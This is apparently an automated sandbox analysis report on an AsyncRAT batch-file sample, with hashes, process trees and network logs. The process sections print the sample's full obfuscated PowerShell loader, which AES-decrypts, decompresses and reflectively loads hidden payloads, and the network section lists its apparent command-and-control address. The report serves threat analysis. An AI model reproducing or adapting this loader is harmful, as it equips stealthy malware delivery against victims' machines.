Malware Analysis Report

2025-01-02 12:11

Sample ID 240418-b2ke1afe43
Target a65e873839228c5b453d6effa5d14d16.bin
SHA256 9ab3f1afc5255582729325d13f790dd151b90ccd3f13170c4e0b0dd51dc40142
Tags
asyncrat default rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

9ab3f1afc5255582729325d13f790dd151b90ccd3f13170c4e0b0dd51dc40142

Threat Level: Known bad

The file a65e873839228c5b453d6effa5d14d16.bin was found to be: Known bad.

Malicious Activity Summary

asyncrat default rat

AsyncRat

Async RAT payload

Blocklisted process makes network request

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

N/A

Analysis: static1

Detonation Overview

Reported

2024-04-18 01:38

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-18 01:38

Reported

2024-04-18 01:41

Platform

win7-20240221-en

Max time kernel

117s

Max time network

118s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat"

Signatures

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat';$XgWC='CJCPqopJCPqyToJCPq'.Replace('JCPq', ''),'DeKEVccoKEVcmKEVcpKEVcreKEVcsKEVcsKEVc'.Replace('KEVc', ''),'GeAJwHtCAJwHurrAJwHeAJwHntAJwHProAJwHceAJwHssAJwH'.Replace('AJwH', ''),'CGqtVreGqtVateGqtVDGqtVecrGqtVypGqtVtoGqtVrGqtV'.Replace('GqtV', ''),'TrashffnsfshfforshffmshffFinshffashfflBlshffocshffkshff'.Replace('shff', ''),'LoaAcuudAcuu'.Replace('Acuu', ''),'EnPhDKtPhDKrPhDKyPoPhDKiPhDKntPhDK'.Replace('PhDK', ''),'InvjPegokejPeg'.Replace('jPeg', ''),'ChBNFcangBNFceEBNFcxtBNFcenBNFcsBNFciBNFconBNFc'.Replace('BNFc', ''),'MamJZeimJZenmJZeMomJZedumJZelemJZe'.Replace('mJZe', ''),'SDiPVplDiPViDiPVtDiPV'.Replace('DiPV', ''),'ReZkbLadLZkbLinZkbLeZkbLsZkbL'.Replace('ZkbL', ''),'FBIJjrBIJjomBBIJjaBIJjseBIJj64BIJjStrBIJjiBIJjngBIJj'.Replace('BIJj', ''),'EleFaTTmeFaTTnFaTTtAFaTTtFaTT'.Replace('FaTT', '');powershell -w hidden;function nHhmY($bfNRC){$Wqjzg=[System.Security.Cryptography.Aes]::Create();$Wqjzg.Mode=[System.Security.Cryptography.CipherMode]::CBC;$Wqjzg.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$Wqjzg.Key=[System.Convert]::($XgWC[12])('0/mNfjofNmhTDWKM5pVXBX9kZTvZAJfnb+xHxm0CsMs=');$Wqjzg.IV=[System.Convert]::($XgWC[12])('mimfsJsCvsdSCjq6OJjGsw==');$mEsqN=$Wqjzg.($XgWC[3])();$cIvUt=$mEsqN.($XgWC[4])($bfNRC,0,$bfNRC.Length);$mEsqN.Dispose();$Wqjzg.Dispose();$cIvUt;}function Jxpsl($bfNRC){$DhsxW=New-Object System.IO.MemoryStream(,$bfNRC);$abuYQ=New-Object System.IO.MemoryStream;$hMgwC=New-Object System.IO.Compression.GZipStream($DhsxW,[IO.Compression.CompressionMode]::($XgWC[1]));$hMgwC.($XgWC[0])($abuYQ);$hMgwC.Dispose();$DhsxW.Dispose();$abuYQ.Dispose();$abuYQ.ToArray();}$vXkJe=[System.IO.File]::($XgWC[11])([Console]::Title);$JakZo=Jxpsl (nHhmY ([Convert]::($XgWC[12])([System.Linq.Enumerable]::($XgWC[13])($vXkJe, 5).Substring(2))));$GFnOO=Jxpsl (nHhmY ([Convert]::($XgWC[12])([System.Linq.Enumerable]::($XgWC[13])($vXkJe, 6).Substring(2))));[System.Reflection.Assembly]::($XgWC[5])([byte[]]$GFnOO).($XgWC[6]).($XgWC[7])($null,$null);[System.Reflection.Assembly]::($XgWC[5])([byte[]]$JakZo).($XgWC[6]).($XgWC[7])($null,$null); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Network

N/A

Files

memory/2884-4-0x000000001B4F0000-0x000000001B7D2000-memory.dmp

memory/2884-5-0x0000000002890000-0x0000000002898000-memory.dmp

memory/2884-6-0x000007FEF51F0000-0x000007FEF5B8D000-memory.dmp

memory/2884-7-0x00000000029D0000-0x0000000002A50000-memory.dmp

memory/2884-8-0x000007FEF51F0000-0x000007FEF5B8D000-memory.dmp

memory/2884-9-0x00000000029D0000-0x0000000002A50000-memory.dmp

memory/2884-10-0x00000000029D0000-0x0000000002A50000-memory.dmp

memory/2884-11-0x000007FEF51F0000-0x000007FEF5B8D000-memory.dmp

memory/2884-12-0x00000000029D0000-0x0000000002A50000-memory.dmp

memory/2884-13-0x00000000029D0000-0x0000000002A50000-memory.dmp

memory/2884-14-0x00000000029D0000-0x0000000002A50000-memory.dmp

memory/2884-15-0x00000000029D0000-0x0000000002A50000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-18 01:38

Reported

2024-04-18 01:41

Platform

win10v2004-20240412-en

Max time kernel

148s

Max time network

153s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat"

Signatures

AsyncRat

rat asyncrat

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951.bat';$XgWC='CJCPqopJCPqyToJCPq'.Replace('JCPq', ''),'DeKEVccoKEVcmKEVcpKEVcreKEVcsKEVcsKEVc'.Replace('KEVc', ''),'GeAJwHtCAJwHurrAJwHeAJwHntAJwHProAJwHceAJwHssAJwH'.Replace('AJwH', ''),'CGqtVreGqtVateGqtVDGqtVecrGqtVypGqtVtoGqtVrGqtV'.Replace('GqtV', ''),'TrashffnsfshfforshffmshffFinshffashfflBlshffocshffkshff'.Replace('shff', ''),'LoaAcuudAcuu'.Replace('Acuu', ''),'EnPhDKtPhDKrPhDKyPoPhDKiPhDKntPhDK'.Replace('PhDK', ''),'InvjPegokejPeg'.Replace('jPeg', ''),'ChBNFcangBNFceEBNFcxtBNFcenBNFcsBNFciBNFconBNFc'.Replace('BNFc', ''),'MamJZeimJZenmJZeMomJZedumJZelemJZe'.Replace('mJZe', ''),'SDiPVplDiPViDiPVtDiPV'.Replace('DiPV', ''),'ReZkbLadLZkbLinZkbLeZkbLsZkbL'.Replace('ZkbL', ''),'FBIJjrBIJjomBBIJjaBIJjseBIJj64BIJjStrBIJjiBIJjngBIJj'.Replace('BIJj', ''),'EleFaTTmeFaTTnFaTTtAFaTTtFaTT'.Replace('FaTT', '');powershell -w hidden;function nHhmY($bfNRC){$Wqjzg=[System.Security.Cryptography.Aes]::Create();$Wqjzg.Mode=[System.Security.Cryptography.CipherMode]::CBC;$Wqjzg.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$Wqjzg.Key=[System.Convert]::($XgWC[12])('0/mNfjofNmhTDWKM5pVXBX9kZTvZAJfnb+xHxm0CsMs=');$Wqjzg.IV=[System.Convert]::($XgWC[12])('mimfsJsCvsdSCjq6OJjGsw==');$mEsqN=$Wqjzg.($XgWC[3])();$cIvUt=$mEsqN.($XgWC[4])($bfNRC,0,$bfNRC.Length);$mEsqN.Dispose();$Wqjzg.Dispose();$cIvUt;}function Jxpsl($bfNRC){$DhsxW=New-Object System.IO.MemoryStream(,$bfNRC);$abuYQ=New-Object System.IO.MemoryStream;$hMgwC=New-Object System.IO.Compression.GZipStream($DhsxW,[IO.Compression.CompressionMode]::($XgWC[1]));$hMgwC.($XgWC[0])($abuYQ);$hMgwC.Dispose();$DhsxW.Dispose();$abuYQ.Dispose();$abuYQ.ToArray();}$vXkJe=[System.IO.File]::($XgWC[11])([Console]::Title);$JakZo=Jxpsl (nHhmY ([Convert]::($XgWC[12])([System.Linq.Enumerable]::($XgWC[13])($vXkJe, 5).Substring(2))));$GFnOO=Jxpsl (nHhmY ([Convert]::($XgWC[12])([System.Linq.Enumerable]::($XgWC[13])($vXkJe, 6).Substring(2))));[System.Reflection.Assembly]::($XgWC[5])([byte[]]$GFnOO).($XgWC[6]).($XgWC[7])($null,$null);[System.Reflection.Assembly]::($XgWC[5])([byte[]]$JakZo).($XgWC[6]).($XgWC[7])($null,$null); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

Network

Country Destination Domain Proto
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 21.114.53.23.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
DE 194.48.251.169:4449 tcp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
DE 194.48.251.169:4449 tcp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
DE 194.48.251.169:4449 tcp
US 52.111.229.43:443 tcp
DE 194.48.251.169:4449 tcp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp
DE 194.48.251.169:4449 tcp
DE 194.48.251.169:4449 tcp
US 8.8.8.8:53 94.65.42.20.in-addr.arpa udp
DE 194.48.251.169:4449 tcp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vbtqjsys.23x.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1068-9-0x00007FF98A280000-0x00007FF98AD41000-memory.dmp

memory/1068-10-0x0000023B7FD10000-0x0000023B7FD20000-memory.dmp

memory/1068-12-0x0000023B675F0000-0x0000023B67612000-memory.dmp

memory/1068-11-0x0000023B7FD10000-0x0000023B7FD20000-memory.dmp

memory/1068-13-0x0000023B67690000-0x0000023B676D4000-memory.dmp

memory/1068-14-0x0000023B7FC00000-0x0000023B7FC76000-memory.dmp

memory/4664-15-0x00007FF98A280000-0x00007FF98AD41000-memory.dmp

memory/4664-16-0x0000021E5F1F0000-0x0000021E5F200000-memory.dmp

memory/4664-17-0x0000021E5F1F0000-0x0000021E5F200000-memory.dmp

memory/4664-29-0x00007FF98A280000-0x00007FF98AD41000-memory.dmp

memory/1068-30-0x0000023B02430000-0x0000023B02438000-memory.dmp

memory/1068-31-0x00007FF9A8590000-0x00007FF9A8785000-memory.dmp

memory/1068-32-0x00007FF9A67A0000-0x00007FF9A685E000-memory.dmp

memory/1068-33-0x0000023B02440000-0x0000023B02450000-memory.dmp

memory/1068-34-0x0000023B02930000-0x0000023B02948000-memory.dmp

memory/1068-36-0x0000023B7FD10000-0x0000023B7FD20000-memory.dmp

memory/1068-38-0x00007FF98A280000-0x00007FF98AD41000-memory.dmp

memory/1068-39-0x0000023B7FD10000-0x0000023B7FD20000-memory.dmp

memory/1068-40-0x0000023B7FD10000-0x0000023B7FD20000-memory.dmp

memory/1068-41-0x0000023B7FD10000-0x0000023B7FD20000-memory.dmp